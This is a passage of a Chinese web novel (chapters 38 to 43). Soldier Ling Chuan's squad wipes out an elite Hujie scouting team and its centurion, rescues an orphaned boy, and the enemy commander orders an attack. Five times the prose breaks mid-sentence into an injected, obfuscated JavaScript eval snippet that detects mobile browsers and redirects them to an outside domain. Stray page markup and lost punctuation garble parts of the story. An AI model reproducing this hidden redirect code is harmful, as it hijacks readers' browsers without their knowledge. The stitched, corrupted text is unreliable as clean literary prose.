可就在此时,凌川再度开口了:“我会从屋顶潜进去,与正门的余生等人配合,记住一点,速战速决,千万不能给对方逃走的机会!” 第38章 夜刀光索人命! 此时天已经蒙蒙亮众人趁着最后一丝夜色迅速抵达既定位置。 忽然凌川敏锐捕捉到屋内传来轻微的异动显然他们已经暴露了。 “行动!” 随着一声令下他率先蹿了出去靴底蹬墙借力单手抓住房檐翻身而入。 翻檐落地的刹那一支铁箭迎面射来。 凌川身体一扭避开了这一箭同时迅速拔出手中战刀贴了上去。 这种狭小空间的战斗必须拉近距离让对方的弓箭施展不出来否则自己将异常危险。 凌川粗略扫了一眼屋内有五人其中四人在睡觉刚才对自己放箭那人明显是哨子。 此外他还在角落里看到一对中年夫妻倒在血泊中很明显自己之前的猜测成真这房子的主人已经**害。 “死……” 凌川怒喝一声刀光如月华斩出那名鹰钩鼻的胡羯人见状也果断拔出腰间的弯刀抵挡。 “当……” 伴随着一道金铁交鸣声响起那人手中弯刀崩裂如碎冰哐当一声掉落在地上。 那名胡羯斥候满脸的不可思议要知道他们所配的弯刀放在胡羯军队中都是最顶级的存在哪怕是比起大周最鼎盛时期的百炼刀都要更胜一筹可现在却被人轻松斩断。 就在他愣神之际凌川手中刀锋一转随即一记横扫划过那人的咽喉一条猩红的血线出现在脖子上。 那名胡羯斥候只感觉脖子一凉随即滚烫的血液喷涌而出紧接着便是一阵天旋地转。 一颗头颅滚落在地上无头尸体喷涌着鲜血缓缓倒地这一切不过是发生在刹那之间。 而此时另外四名胡羯斥候也迅速起身立马进入了战斗状态其中一人举起弓箭朝着凌川连射三箭。 凌川辗转腾挪避开前两箭紧接着挥刀将第三箭荡开。 与此同时那三名斥候拔出弯刀已经杀到凌川面前。 “当!” 凌川横过战刀挡住其中一人劈来的一刀随即侧身一脚踢中另一人的胸口那人踉跄后退。 可就在此刻一把弯刀闪烁着嗜血寒芒径直朝着凌川胸口刺来。 凌川猛然侧身 那人闷哼一声捂着脖子连连后退。 凌川果断贴上去一刀刺穿了他的铠甲贯穿心脏。 鲜血汩汩流 淌,那名胡羯斥候满脸的不甘与恐惧,捂着胸口倒地身亡。 三名胡羯斥候满脸震惊,他们简直不敢相信,大周军中竟然有这般高手,近身厮杀的情况下,竟然干掉了他们的两名同伴。 “砰……” 一声巨响,大门被撞开,余生带领四名士兵列成战阵冲了进来。 五行锥阵在屋内略显拥挤,但也大大压缩了敌人的空间。 “杀……” 两名盾牌手率先压了上去,那三名胡羯斥候眼神中闪过一抹震惊,周军何时这般勇猛了? 在以往的认知中,若是据城而守,周军对他们还有点威胁,一旦近身搏杀,周军在他们眼里就是土鸡瓦狗,不堪一击。 然而,这几名周军与他们以往接触到的完全不一样,这些大周士兵的眼神中虽有丝丝畏惧,但更多的是凌冽杀意。 那三名胡羯斥候挥动弯刀扑了上来,却都被盾牌挡住。 “嗤嗤……” 紧接着,两杆**宛如吐信毒蛇一般,朝着他们刺来,其中一人当场被刺穿胸膛,躺在地上抽搐不止。 这是五行锥阵第一次用于实战,其实,大家心里都没底,可现在,他们竟然轻易干掉了一名胡羯斥候,这让几人信心倍增。 另一名胡羯斥候刚避开刺过来的**,一把弯刀便朝他迎面劈来。 由于考虑到为之狭小,凌川将五行锥阵的弓箭手替换成了刀兵。 那名胡羯斥候顿时一惊,连忙挥刀抵挡,结果那**再度刺来,将他逼退到墙角。 情急之下,他猛然跃起,一脚踏在盾牌之上,想要越过战阵来到几人后方。 然而,他刚才跃起,一道寒芒宛如匹练一般横扫而来,此时的他身处半空无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15947954|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处借力,只能眼睁睁看着那道刀芒从自己的腰部划过。 “嗤……” 一声轻响,鲜血喷洒,那名胡羯斥候的身体连同铠甲一起被拦腰斩断。 “噗……” 忽然,一名盾牌手面色一僵,只见一把弯刀竟然顺着两面盾牌的空隙刺了进来,正好刺中自己的大腿。 霎时间,鲜血直流,可那名士兵竟然紧咬牙关,哪怕那把弯刀在自己大腿里搅动,也死不松手,用盾牌将其死死压住。 “快动手!” 他满脸痛苦大喊道,身后两名同伴也果断出手,两杆**刺穿其肩胛骨,死死将其钉在土墙之上。 尽管鲜血顺着肩膀流了下来,可这并非致命处,那名胡羯斥候还在拼命挣扎,收回弯刀想要砍断**脱困。 战阵后方的余生果断冲上前,手中战刀无情割破那人的咽喉。 解决掉这五名敌人之后,凌川没有片刻耽搁,直接冲向另一间屋子。 这里原本藏着两名斥候,在他们攻进来的时候,这两名斥候便打开后门准备逃走。 然而,第一人刚冲出去,一支铁箭飞射而来,他敏锐捕捉到这细微的破空声,出于本能地朝着一旁闪开,可终究还是慢了半步,被这一箭射中手臂。 那名胡羯斥候虽内心震惊,却不敢有半点耽搁,甚至都不敢去拔出铁箭,直接朝着黑暗中奔去,想要撤走。 然而,刚走出两步,一抹寒芒自黑暗中乍现,直奔他的咽喉而来。 胡羯斥候再次一惊,连忙挥刀抵挡,奈何右臂中箭力量和速度都大打折扣。 “叮……” 他手中弯刀被震开,险些脱手飞出,史俊刀锋一转,再次朝他斩去。 胡羯斥候无心恋战,直接朝着另一个方向跑去。 “咻……” 又是一支铁箭飞来,那名胡羯斥候只感觉小腿一痛,当场倒地。 而史俊也冲了上来,一刀自他的后心刺入,虽然铁甲抵消了这一刀的部分力量,但还是伤及内腑。 第39章 血鸦伏诛! “该死的周人…… 那名胡羯斥候趴在地上大声嘶吼,尽管嘴里不断吐出鲜血,可眼神之中的凶狠之色却丝毫不减。 “该死的是你们!史俊一只脚踩在对方后背,双手死死抓着刀柄猛然用力。 “噗…… 战刀彻底贯穿其身体,那名胡羯斥候也不再挣扎,彻底气绝。 房子另一边,窗户猛然被撞开,一道身影破窗而出,借助黎明的亮光就要逃走。 一支铁箭破空而来,却被其躲开,紧接着,那人快速起身,借助周围的掩体迅速腾挪。 紧接着,又是接连几箭射来,都被其巧妙避开,这让暗中的耿良顿时一惊,他没想到对方的反应竟如此敏锐。 自己的箭术虽比不上黄琛,但也绝对不差,可接连几箭都被其避开,眼看对方就要逃走,他不由得着急起来。 “咻! 就在此时,一支铁箭自门口方向射来,直接从那名胡羯斥候的身体穿过。 耿良定睛一看,赫然是凌川。 那名胡羯斥候身体猛然一个踉跄险些倒下,但他却强行撑住了,捂着胸前的伤口,继续逃走。 “唰…… 耿良来不及多想,拔出战刀便扑了上去。 与此同时,余生留下一人照顾受伤的同伴,自己带着两名士兵冲了上来。 那名胡羯斥与耿良过了几招,由于有伤在身,被耿良一刀劈中肩膀,眼看余生等人也围了上来,自知逃生无望的他,直接用手中弯刀抹过自己的脖子,选择了自尽。 这让耿良等人为之一惊,凌川并未告诉他们,这次要面对的极有可能是胡羯斥候中的王牌,令人闻风丧胆的血鸦军团。 但,这名敌人果断选择自尽,甚至都没有丝毫迟疑,还是让他们为之震撼。 可凌川却丝毫不觉得意外,斥候也好谍子也罢,在自知无法脱身的情况下,选择自尽是最常见,也是最轻松的死法,他们知道很多行军部署等机密,一旦落入敌方手中,势必要被严审,到时候受尽折磨,想死都是一种奢侈。 自此,七名胡羯斥候尽数伏诛,他们或许到死也不敢相信,自己堂堂血鸦斥候,会死在周军的一个十人小队手中。 然而,凌川却是眉头微皱,他总感觉哪里不对劲。 忽然,他神色一凝,猛然抬起目光看向半坡的草垛,那里是催肃所在的位置。 刚才,他只看到耿良一个人放箭,按理说,催肃的位置视野更好,距离也更近,若是他配合的话, 对方连逃走的机会都没有。 可催肃却迟迟没有放箭,这让凌川感到了强烈的不安。 催肃原本躲在房屋西侧的草垛后方,这里可以将半座房屋尽收眼底。 然而,当凌川来到草垛跟前,顿时目眦欲裂。 他最担心的事情,还是发生了…… 只见催肃倒在草垛中,一支羽箭刺穿了他的咽喉,鲜血顺着羽箭流出,染红了他身下的麦草。 催肃双眼瞪得老大,一只手抓着那只羽箭,早已没了生机。 就在这时,史俊也赶了过来,看着惨死的催肃,他满脸不可思议。 “怎么会这样?” “还有漏网之鱼!”凌川沉声说道,随即直接站起身来,顺着地上的脚印追了上去。 “原地等我,不准跟来!”声音传来的时候,凌川已经跑出去老远。 此时天已大亮,凌川顺着脚印追到了雪松林之中,他知道,对方就藏在雪松林中的某个角落等着自己,但是他却丝毫没有犹豫,直接就冲了进去。 这不是匹夫之勇,而是心怀必杀的信念。 先不说一旦让此人逃走,会给狼烽口带来怎样的威胁,如果不能将其击杀,凌川没办法对死不瞑目的催肃交代,无法对死在屋里那对中年夫妇交代,也无法对自己交代。 从催肃的死状来看,对方的实力非常恐怖,以至于催肃几乎都没有反抗之力,甚至连发出警示的机会都没有。 很显然,那人已经摸到了催肃身边都没有被发现,然后忽然暴起,一击毙命。 亦或者说,对方从始至终都不在屋内,而是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15947955|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在催肃身后的某个地方。 同时,凌川也推断出,自己等人还没行动的时候,就已经被此人发现了,他先是给屋里那行血鸦斥候传讯,然后迅速逃了出来,这也是为何在行动之前自己听到屋内有异动的原因。 奈何,当时情况紧急,自己并未注意到这一细节。 此时,凌川内心不由得一阵自责,因为,按照他此前从脚印得出的判断,敌方一共七人,可他没想到竟然还有第八人存在。 忽然,凌川猛然止步,因为,林中的脚印消失了。 霎时间,一股紧张的气氛笼罩全场,偌大的雪松林落针可闻。 “呜呜……” 寒风吹过,松针发出的声音宛如恶鬼呜咽。 凌川紧握着手中的战刀,用眼角的余光打量着周围的风吹草动,全身上下每一根神经都紧绷到极致。 “咻……” 忽然,一支铁箭带着破空声从侧面飞射而来,直奔凌川的太阳穴。 凌川低头前倾,险而又险地避开了这必杀一箭,顺势朝着一棵大树奔去,想要以此作为掩体。 然而,对方似乎已经洞察了他的意图,再次射出一箭。 这一箭并不是直接瞄准的凌川,而是瞄准了他的前方,若凌川执意往前,那必然会撞上这一箭,如果临时改变方向,那就会失去这棵大树作为掩体,继续暴露在他的射程之内。 正处于前冲姿态的凌川,身体强行一扭,随后就地一滚,避开了这一箭。 可就在此时,他也取下了挎在背上的破甲弓,弯弓搭箭,瞄准对方所在的方向。 “咻!” 凌川果断还以颜色,只不过,这仓促间射出的一箭并未伤到对方,但对方下意识地躲闪,也将他的位置暴露了出来,凌川果断开弓,接连射出三箭。 紧接着,双方一边躲闪腾挪一边开弓射箭。 虽然凌川近段时间一直在加强箭术训练,但,这种东西绝非短时间能提升的,好在他的破甲弓无论在准度还是对臂力要求都远胜对方的牛角弓,这也在一定程度上弥补了差距。 第40章 第八名斥候! 眨眼间,双方各自射出十多支箭,但,彼此都有掩体,这一番对射皆未能伤到对方。 此时,凌川箭壶之中只剩下最后一支铁箭,他接连避开对方的三箭之后,迅速将破甲弓拉至满弦,双眼如冷电一般,死死盯着前方。 那名胡羯斥此时正藏在一棵两人合抱的雪松后方,他刚才已经听到了凌川拉动弓弦的声音,他知道,对方在等自己,此时,但凡自己一冒头,对方将毫不犹豫将弦上之箭射向自己。 不过,他并不着急,反而是露出一抹冷笑。 因为,他坚信对方在拉弓满弦的状态下,坚持不了多久,自己只需以逸待劳,等到他力竭,便可轻易将其斩杀。 然而,他等了许久,对方却始终没有动静,他也没有听到弓弦松动的声音,这不由得让他心生疑惑。 从刚才的对射中,他基本判断出,对方使用至少也是三石弓。 就算对方分段引弦,连开十多次基本已是极限,可他现在将弓弦拉满,根本不可能保持这么久。 他估计做梦也想不到,凌川的破甲弓就算拉至满弦状态,也能保持很久,因为这个时候破甲弓上的两个偏心轮处于最省力的状态。 时间一点点过去,可双方却没有丝毫动作,除了松针被寒风带起的呼啸声之外,再无任何动静。 恍然间,他内心隐约生出一股不安,只见他抛出一团松针,自身却从反方向一闪而出。 然而,他震惊地发现,凌川竟然消失了。 那股强烈的不安再次袭遍全身,不等他反应过来,一支铁箭自侧面射来。 这名胡羯斥候顿时一惊,此时想要躲避已然来不及,只见他直接拔出腰间弯刀,侧身对着那支铁箭劈下。 “叮!” 铁箭被震落在地上。 然而,凌川也持刀扑了上来,双方距离不过十余步,对于他来说,眨眼即至。 一道刺目的寒芒乍现,凌川举刀劈下。 胡羯斥候再次举刀抵挡,又是一道金铁交鸣声响彻雪松林,他被凌川这势大力沉的一刀震得连连后退。 然而,凌川却根本不想给对方喘息的机会,再一次扑了上去。 从他悄无声息秒杀催肃,再到刚才的交手,凌川可以断定,此人的实力比之前那七名血鸦斥候强了不止一星半点。 高手过招需先声夺人。 凌川的刀法来自军中,融诸家刀术之长,以撩、刺、截、拦、崩、斩、抹、带、缠为主,简单直接、大开大合,皆是**技。 可即便如此,他依旧未能将对手压制,那名血鸦成员虽失了先机,但他凭借刁钻诡谲的刀法,一把弯刀宛如毒蛇一般在其手中游走,令人防不胜防。 眨眼间,双方交手二十余回合,凌川一刀横斩,直奔对方的胸口而去。 那名胡羯斥候眼神中闪过一抹凶狠之色,并未抵挡这一刀,而是调转刀锋,朝着凌川的手腕削来。 凌川顿时一惊,一个翻身避开了这一刀,同时手中战刀也斩在了对方的胸甲之上。 “嗤啦……” 胸甲碎开,甲片掉落一地,露出了铠甲里面的衣衫,凌川看到他胸前的衣衫之上绣着一直红色乌鸦,宛如鲜血浸染一般。 此外,凌川还注意到对方的弯刀与之前那几名斥候的弯刀虽然样式一样,可刀脊上却多了一条金色纹路,随着刀身弯曲,宛如一条金蛇攀附于刀身之上。 而且,与自己的战刀硬碰数十次都不曾断裂,只是刀刃之上出现了几个细小缺口,由此可见,此人的身份绝非一名普通的血鸦斥候。 这名血鸦成员也没想到,周军之中竟然有如此强大的士兵,眼神之中闪过一抹诧异,只不过,这抹诧异很快便被玩味所取代。 “很久没有遇到过像样的对手了,你很不错!” “我觉得,把你埋在这里更不错!”凌川怒喝一声,再次挥刀扑了上去。 经过这段时间的训练,他的体魄提升了不少,虽然无法与前世巅峰时期相比,但也比刚穿越来的时候提升很多。 在接下来的厮杀中,双方各有胜负,凌川被对方一刀划破小腹,而他也刺中其左肩。 凌川心中暗自震 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15947956|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惊,此人的近战能力竟然不在自己之下。 难怪当初一支十余人的血鸦小队,便能杀得五百周军丢盔弃甲,险些全灭。 很难想象,若是五百人的血鸦军团倾巢而出,这天下还有谁能挡住他们。 忽然,凌川抓住机会,一刀刺向对方的胸口,那名血鸦成员挥动弯刀,荡开了凌川这一刀。 就在这时,凌川忽然变招,只见他刀锋一转,凛冽刀锋直奔其咽喉而去。 男子目光骤然紧缩,他想不到,小小狼烽口,竟然有如此高手。 霎时间,他想到了年前相继殒命于狼烽口的穆尔扎与巴查尔两兄弟。 只见他猛然一个后仰,避开了这一刀。 凌川趁机一脚踢在他的胸口。 “砰!” 魁梧男子直接倒飞出去,直到后背撞到一根大腿粗的雪松才停下来。 他只感觉胸口一阵剧痛,体内气息四处乱窜。 “穆尔扎两兄弟,是死在你手中吧?”魁梧男子咬牙起身,双目如鹰隼盯着凌川问道。 此时的他,对于眼前这名少年再不敢有丝毫大意,眼神之中甚至还带着一丝丝的忌惮。 凌川眼神之中满是杀意,冷声道:“不错,是我杀的,而且我马上送你下去见他们!” “呵呵,你若是知道我是谁,你就断然不会说出这样的话!”男子冷笑道。 “对于**的身份,我不感兴趣!”凌川沉声回答道。 虽然凌川无法断定对方的身份,但他可以断定,此人能有如此恐怖的战力,绝对只是个例而非普遍现象,要不然,胡羯早就灭掉大周了。 “年纪轻轻,口气倒不小,真以为我这百夫长是吃素的吗?”魁梧男子冷喝一声,主动扑了上来。 凌川闻言,顿时一惊,百夫长没啥,他连独领一军的主将都杀了两位,可血鸦军团的百夫长,那就是另外一个概念了。 不过,此时的他已没时间去思考这些,再一次迎了上去。 高手过招,特别是双方势均力敌的情况下,往往一个小细节会成为决定胜负的关键。 第41章 娘,我乖不乖啊? 又是一番激烈交锋,凌川逐渐摸清了对方的路数,这归结于他丰富的战斗经验。 但,紧接着,凌川又发现一个极为不妙的情况,那就是自己的体力逐渐跟不上了,归根结底还是因为这具身体太弱了。 凌川打定主意要速战速决,否则,再拖下去对自己更加不利。 几招之后,凌川挨了对方一拳,直接倒飞回来摔倒在地。 男子见状,直接扑了上来,双手反握弯刀,朝着凌川胸口刺来。 可就在此时,他发现凌川嘴角露出一抹冷笑,这让他内心涌出一股不安。 就在对方的弯刀距离凌川胸口不足一尺的时候,凌川忽然使出一记蹬天脚。 “砰!” 这一脚结结实实地蹬在他的下巴,男子吃痛,仰面倒飞回去。 凌川弹射而起,扑了上去,对方倒地之后,也忍痛站起身来。 然而,他刚起身,便看到凌川手中战刀洒出一片寒芒,紧接着脖子一凉,身体直接顿在原地。 他眼神中写满了不甘与恐惧,他难以接受自己堂堂血鸦军团的百夫长,竟然死在这个少年手中。 顷刻间,鲜血顺着脖子断裂之处喷涌而出,那颗人头也滚落到雪地里,鲜血撒了一地。 解决掉敌人,凌川也直接瘫坐在地大口大口地喘气。 这一战,几乎抽干了他全部力气,平心而论,若不是最后他故意示敌以弱再出其不意将其反杀,此时躺在地上的人是谁还不一定。 半刻钟之后,凌川才站起身来,他将那把金线弯刀收了起来,然后一把提起那颗人头,起身返回。 刚走出松林,便看到余生等人赶了过来。 “什长,你没事吧?”见凌川步伐沉重,余生担忧地问道。 之前凌川交代他们不许跟来,可余生等人在原地等了许久也不见凌川返回,他还是冒着违抗军令的罪名,赶了过来。 凌川晃了晃手中这颗人头,又指了指身后的树林,苦笑道:“去把尸体处理一下,记得把盔甲剥回去!” 狼烽口物资匮乏,普通士卒只有修补了很多次的皮甲,铁甲数量不超过单手指数。 今日这八具铁甲对于他们来说,是一笔价值不菲的战利品。 可想到战死的催肃,凌川的心情却怎么也好不起来。 回到之前激战的房屋跟前,史俊正在带人打扫战场,忽然,屋内传来一名士兵的声音:“什长,有情况!” 凌川顿时一惊,托着疲惫的身体冲进屋里。 本以为还有潜伏的血鸦斥候可进来之后才发现几名士兵围在地窖跟前显得手足无措。 “怎么回事?”凌川上前问道。 “什长你看!”史俊指了指地窖说道。 凌川借助窗户的亮光定睛一看只见地窖中有一个小男孩蜷缩在角落背对众人一动不动。 “我去看看!”凌川小心翼翼进入地窖轻轻拍了拍小男孩的肩膀。 “嘻嘻娘我一直没有出声我乖不乖啊?”小男孩猛然转过身可当他看到凌川的时候眼神中满是茫然还带着一丝丝畏惧。 凌川本以为这小孩跟他爹娘一样都遭了血鸦的毒手没想到竟然还活着。 “你你是谁?我娘呢?”小男孩上下打量着凌川怯生生地问道。 “你爹娘去城里办事去了让我来接你!”凌川尽量平复了一下情绪说道。 “你骗人娘说了只要我躲在这里不让爹爹找到就给我买糖吃!” 听到这话凌川不由得心口一痛**应该怎么告诉小男孩真相四五岁的年纪痛失双亲这不又让凌川想到了前身的经历。 只不过前身父母死在胡贼刀下的时候他已经十三岁了。 再联想到之前自己冲进来的时候发现这架男人死在外面屋子而女子则是死在这个房间的门口。 凌川已经大致猜出胡羯人闯进来的时候小男孩的父亲冲上去挡住血鸦而女子则是第一时间进屋把小男孩藏进地窖之中。 可他们终究是平头老百姓又怎么可能是血鸦成员的对手最终双双命丧血鸦的屠刀之下。 凌川连哄带骗总算让小男孩答应跟自己走。 凌川一把将他抱起走出地窖随后直接从后门离开了因为此时其他人正在处理他爹娘的尸体凌川不想让他看到。 殊不知刚刚小男孩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15947957|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 匆匆一瞥已经看到了满屋子的鲜血以及爹娘的尸体。 他没有哭也没有出声只是死死抱着凌川的脖子。 队伍刚回营陈暻垚便赶了过来看到浑身是血的众人他连忙问道: “你们怎么样?” 凌川摇了摇头 听到血鸦斥候现场所有人皆是一惊包括跟随凌川一起执行任务的几人也是此刻才知道被他们斩杀的竟然是凶名赫赫的斥候王牌——血鸦! 很快军医老宋头被人拽了 过来,为凌川等人处理伤口。 那名被伤到大腿的士兵虽然流了不少血,好在没有伤及经脉,只需修养一段时间就好了。 可当他看到凌川小腹的伤口时,生气地问道:“你不是说,一死一伤吗?” 凌川尴尬一笑,说道:“就伤了点皮,没大碍!” 就在这时,陈暻垚注意到凌川挂在腰间的那把弯刀,刀脊之上那条金线让他顿时倒吸了一口凉气。 “金狼刀,凌兄弟,这刀你从哪儿得来的?”朱骞满脸震惊地问道。 他很清楚这种金线刀,只有胡羯军中的一军主将才有资格佩戴,也就是穆尔扎兄弟这种级别,莫非,这次敌人的小队里,有一名胡羯将军? 陈暻垚则是摇了摇头,说道:“除了一军主将之外,血鸦军团的百夫长也是佩戴这种金狼刀!” 血鸦军团作为胡羯最精锐的两支斥候军团,数量肯定不会太多,据说,血鸦军团满员的时候也就五百人,每一位百夫长的地位相当于其他地方的一军主将。 所以,他们才会佩戴与一军主将同级别的金狼刀。 相传,执掌血鸦军团的那位千夫长所配战刀乃是与几位大元帅同级别的天狼刀,由此可见,血鸦军团的地位有多高。 “那岂不是说,凌川杀死的是一名血鸦军团的百夫长?”伍兴邦满脸惊愕地问道。 凌川指了指不远处地上那颗人头,说道:“你们说的,应该就是那家伙了!” 众人无不是满脸震惊,这才多久,竟有三位胡羯主将死在凌川手中,如此显赫的战功,就算是放眼几百年大周帝国,也是殊为罕见的存在。 第42章 百姓何其无辜! 成功解决掉敌方渗透进来的斥候小队众人不由得长舒了一口气。 也是直到此时众人才注意到站在门口那个小家伙他就那么站在那里一言不发。 凌川抱着小男孩便朝着家里走去毕竟军营之中大多是粗糙汉子根本不会照顾小孩眼下只能把他带回去暂时让苏璃照顾一下。 “叔叔!”忽然拍在凌川肩膀上的小男孩开口了。 “怎么了?”凌川问道。 “我爹娘是不是都**?” 听闻此言凌川心口仿佛被针扎了一下答案很明确可凌川却不知道如何开口。 他不忍心骗他更不忍心用事实去伤害他。 “我都看到了!”小男孩哽咽道随即两行泪水滚落下来。 “叔叔已经给你爹娘报仇了!”凌川几乎是用尽全力才说出这句话。 战争的残酷在这一刻体现得淋漓尽致。 百姓何其无辜! 推门走进院子苏璃立马跑了出来见到凌川她悬着的一颗心总算是放回肚子里。 “相公这是……”苏璃看着凌川怀里的小男孩问道。 “回头跟你细说先弄点吃的!”凌川暗自给苏璃使了个眼色。 后者立马意会从凌川怀里接过小男孩。 “饿了吧我马上就去做饭!” 小男孩轻轻嗯了一声就这么呆呆坐在小板凳上一动不动一言不发。 等凌川洗完澡出来他依然坐在那里双眸黯淡凌川看了不由得一阵心疼。 凌川来到苏璃身边 很快饭菜上桌。 尽管小男孩已经很饿了但却迟迟没有动筷子。 苏璃很细心地给他夹菜说道:“要多吃饭哦不然个子长不高的!” 小男孩转过目光看着她问道:“长高了能成边军吗?” 此言一出苏璃脸色瞬间僵住一时间不知如何回答只能向凌川求助。 “想要成为边军身高和力量都不能差!”凌川回答道他知道小男孩这么问是想给父母报仇。 对他来说仇人可不仅仅是杀害父母的那几名胡贼而是所有侵犯边境的胡羯人。 得到肯定的答复小男孩的眼底这才出现了一丝色彩随即直接端起碗大口吃了起来。 “慢点吃小心噎着!”苏璃一边说一 边给他夹菜。 吃过饭之后小男孩又坐会那个小凳子,苏璃来到他身边,问道:“可以告诉我,你叫什么名字吗?” 小男孩似乎对苏璃很有好感,小声回答:“楚北!” “嗯,楚北,这名字真好听!”苏璃摸了摸他的头,夸赞道。 吃过饭之后,凌川实在是扛不住了,倒头就睡,一来是昨晚彻夜未眠,再加上今日连番激战,让他身体出现了脱力。 这一觉一直睡到第二天早上,他照常来此校场操练,经历这次的生死之战后,凌川内心提升自身实力的想法更加迫切。 如今,狼烽口所有士兵也都在加紧操练,因为大家都清楚,距离胡羯人下次攻城不远了。 而且,昨晚那一战,让他们见识到了五行锥阵的威力,特别是参战的几人最清楚,若是以前,他们五人联手也未必能杀得了一名血鸦斥候,可昨日却连杀数人。 消息传开后,所有人在操练的时候都更为认真,甚至开始主动向余生等人打听战斗过程。 校尉营中,凌川与陈暻垚相对而坐,主要是陈暻垚向凌川了解昨晚那一战的经过。 之前穆尔扎与巴查尔两兄弟先后殒命于狼烽口,定然引起了南征主帅拓跋桀的重视,所以,这次才派一支血鸦小队来查探虚实。 当然,若是可能的话,他们不介意直接夺下狼烽口。 可如今,那批斥候全部伏诛,就连那名血鸦军团的百夫长也命丧狼烽口,拓跋桀定然不会善罢甘休,接下来,狼烽口将会承受他的雷霆之怒。 一直以来,狼烽口就像是一根钉子,死死钉在北疆防线的最前端,以至于,胡羯大军不敢贸然挥军南下,因为,狼烽口随时可以出兵切断他的退路。 正是因为这个巨大的隐患,以至于,近些年来胡羯人多次攻打狼烽口,想要彻底拔掉这颗钉子。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15947958|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 最多的时候,胡羯更是出动了五千兵力,**狼烽口近一个月依旧未能将其攻破,最终因一场暴雪导致他们不得不引兵还北。 “如果不出意外的话,最多十天,胡羯大军便会直扑狼烽口!”陈暻垚神色凝重地说道。 “守得住吗?”凌川看着远方,淡淡问道。 陈暻垚端起酒碗,喝了半口,苦笑道:“守不住,也得守!” “是啊!我们根本没有退路,守得住要守,守不住就死守!”凌川点头回应道。 “我已经派人将军情送往漠北节度府,让大将军派兵前来支援!” 虽然军情已经送出去,不过陈暻 垚心里却没底,因为刘武之死,章绩极有可能从中作梗。 按理说,年后的第一批粮草早就该到了,却迟迟没有动静,这不得不让陈暻垚往那方面想。 阴山脚下,斡拏城! 此地距离胡羯都城天汗城足有一千多里,南征主帅拓跋桀便驻兵于此,麾下六十万大军,对大周虎视眈眈。 帅府之中,这名身形魁梧的中年主帅脸色阴沉,从刚收到的消息来看,须卜彦多半是**。 须卜彦不是别人,正是这次带一支血鸦小队进入狼烽口的那位百夫长。 虽然须卜彦只带了七个人,对于于拓跋桀来说,七名血鸦成员外加须卜彦这位百夫长,直接拿下狼烽口都极有可能。 对于这支自己一手打造起来的王牌斥候,拓跋桀相当自信。 然而,他没想到,须卜彦等人直接与狼烽口外面的人断了联系,那就只有一种可能,须卜彦等人已经死在了狼烽口。 加上之前的穆尔扎与巴查尔,他麾下已经有三位主将死在了狼烽口,这于他而言,简直就是奇耻大辱。 “砰!” 拓跋桀重重一巴掌拍在狼头椅臂上,目光扫过帐中一众将领。 “狼烽口弹丸之地,竟折我三员附离!”镶玉腰带压得檀木案几吱呀作响,羊皮地图被手指戳穿。 下方,一众将领战战兢兢,不敢直视。 第43章 书生亦有气节! 忽然,拓跋桀目光落在一名周人长相的中年男子身上。 “霍元青!” “末将在!”下方,一道身影踏步而出,右拳抵胸,身体微躬。 拓跋桀问道:“若让你率兵攻打狼烽口,你需要多少兵马?” “回禀主帅,只需一千精兵即可!”霍元青略微思索,便朗声回答道。 拓跋桀目光凌厉,继续问道:“若未能攻下当如何?” “若末将未能攻下狼烽口,提头来见!”霍元青斩钉截铁地回答道。 “好!本帅任你为先锋主将,秃满、孛罗二人为副将,率精兵三千,十日后起程,踏平狼烽口!” 